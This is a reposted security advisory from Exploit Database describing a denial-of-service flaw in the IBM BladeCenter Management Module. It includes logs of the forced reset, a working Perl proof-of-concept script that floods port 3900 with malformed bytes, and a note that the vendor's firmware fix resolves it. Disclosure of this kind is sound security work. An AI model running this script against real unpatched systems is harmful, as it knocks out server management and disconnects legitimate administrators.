IBM Bladecenter Management Module – Denial of Service

• Exploit Database
• 16 阅读

• 作者： Alexey Sintsov
  日期： 2010-04-15
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/12252/

• [DSECRG-09-049] IBM BladeCenter Management Module - DoS vulnerability
  Source: http://www.dsecrg.com/pages/vul/show.php?id=149
  
  This device can be remotely rebooted by sending a malformed TCP packets
  
  
  Digital Security Research Group [DSecRG] Advisory #DSECRG-09-049
  
  
  Application: IBM BladeCenter Managmet Module
  Versions Affected: before BPET50G
  Vendor URL: http://www-03.ibm.com/systems/bladecenter/
  Bug: DoS
  Exploits: YES
  Reported: 24.07.2009
  Vendor response: 26.07.2009
  Date of Public Advisory: 15.04.2010
  Solution: YES
  Author: Alexey Sintsov
  of Digital Security Research Group [DSecRG]
  
  
  Description
  ***********
  
  The BladeCenter management module is a hot-swappable hardware device plugged into the BladeCenter
  chassis management bay. The management module functions as a system-management processor (service processor)
  and keyboard, video, and mouse (KVM) multiplexor for blade servers. This device can be remotely rebooted.
  
  Details
  *******
  
  Attacker can reset management module by sending about five or ten malformed packets on remote presence port (3900/tcp). All legal
  users, who use management module and management network will be disconnected.
  
  
  Network log:
  
  Jul 6 16:16:48 212.X.X.X NOTICE mgmt: Port MGT1 DISABLED and MGT2 ENABLED because Management Module 2 is active
  Jul 6 16:16:49 212.X.X.X ALERT system: link down on port MGT1
  Jul 6 16:16:51 212.X.X.X NOTICE system: link up on port MGT2
  Jul 6 16:17:18 212.X.X.X NOTICE mgmt: Management via all ports is DISABLED thru I2C Control Register
  Jul 6 16:17:20 212.X.X.X NOTICE mgmt: New Management IP Address 192.168.Y.Z configured
  Jul 6 16:17:23 212.X.X.X NOTICE mgmt: Management via all ports is ENABLED thru I2C Control Register
  
  BladeCenter log:
  
  9 I SERVPROC 07/06/09, 16:17:19 (SN#YK31337BR11L) Management Module in bay 1 is standby.
  10 I SERVPROC 07/06/09, 16:16:54 (SN#YK31337BR11L) Management module network initialization complete
  11 I SERVPROC 07/06/09, 16:16:51 (SN#YK31337BR11L) ENET Hostname=BladeMM, IP=192.168.Y.Y, GW=0.0.0.0, Mask=255.255.255.0.
  12 I SERVPROC 07/06/09, 16:16:50 (SN#YK31337BR11L) Management Module in bay 2 is primary.
  13 E SERVPROC 07/06/09, 16:16:45 AMM reset due to watchdog timeout
  
  
  Proof of Concept:
  *******************
  
  #!/usr/bin/perl
  #
  # BladeCenter AMM DoS
  # by Alexey Sintsov
  # Digital Security Research Group
  #
  # [http://dsecrg.com]
  #
  
  use Socket;
  
  $target='192.168.50.61';
  
  for ($i=1;$i<=20;$i++)
  {
  socket(SERVER, AF_INET, SOCK_STREAM, getprotobyname('tcp'));
  $trash="\xf1"x17;
  $target_ = inet_aton($target);
  $paddr=sockaddr_in(3900,$target_);
  
  
  sleep(2);
  if (connect(SERVER, $paddr))
  {
  recv(SERVER,$buf,20,0);
  send(SERVER,$trash,1);
  close(SERVER);
  print "$i - fire!\n";
  }
  else
  {
  print "$i - refused!\n";
  }
  }
  print "\nDone\n";
  
  Solution
  ********
  
  The issue has been fixed in AMM firmware version bpet50g and later.
  
  Refernces
  *********
  
  http://dsecrg.com/pages/vul/show.php?id=149
  http://www-947.ibm.com/systems/support/supportsite.wss/docdisplay?lndocid=MIGR-5083945&brandind=5000020
  
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  *****
  
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